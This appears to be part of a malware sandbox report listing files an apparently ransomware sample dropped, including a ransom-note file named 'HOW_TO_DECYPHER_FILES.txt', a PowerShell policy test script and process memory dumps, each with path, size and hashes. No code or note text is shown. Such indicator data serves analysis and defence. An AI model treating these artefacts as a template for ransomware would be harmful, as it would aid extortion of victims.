MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_efsh24mb.ebn.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_efsh24mb.ebn.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

HOW_TO_DECYPHER_FILES.txt

Path C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
Size 828B
SHA256 24f5548cb45b59acc6459253d54acf3677bf4f2a37afe0ce0f74a0a7f0e0542a
MD5 c26600a58c7ce7aef305142b64bfce52
SHA1 9593fceee6248915b9d4e3d5f7af410f3eb25f0d
SHA512 22c1c2da810988afb73702cfc323047bc6030f1f3b63c2dbffa464760b0f5df000c33a51a7271cfbfc25cb17c51147c2e80bb32f67720ebdda40af3819c8b5cf
MD5 SHA1 SHA512

Submit Download

memory/4704-0-0x0000000000F80000-0x0000000000F9A000-memory.dmp

Download

memory/4704-2-0x00007FFFC7ED0000-0x00007FFFC8991000-memory.dmp

Download

memory/4704-1-0x00007FFFC7ED3000-0x00007FFFC7ED5000-memory.dmp

Download

memory/4704-561-0x00007FFFC7ED0000-0x00007FFFC8991000-memory.dmp

Download

memory/4740-17-0x000002B820570000-0x000002B820592000-memory.dmp

Download